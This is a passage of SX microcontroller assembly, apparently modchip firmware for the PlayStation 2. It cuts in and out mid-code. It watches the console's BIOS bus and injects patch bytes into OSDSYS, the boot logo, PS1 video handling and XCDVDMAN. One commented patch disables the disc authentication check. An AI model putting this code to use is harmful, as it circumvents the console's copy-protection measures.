sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#21;$15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#16;$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w mov w,#$15 ; fsr decimal 21 mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 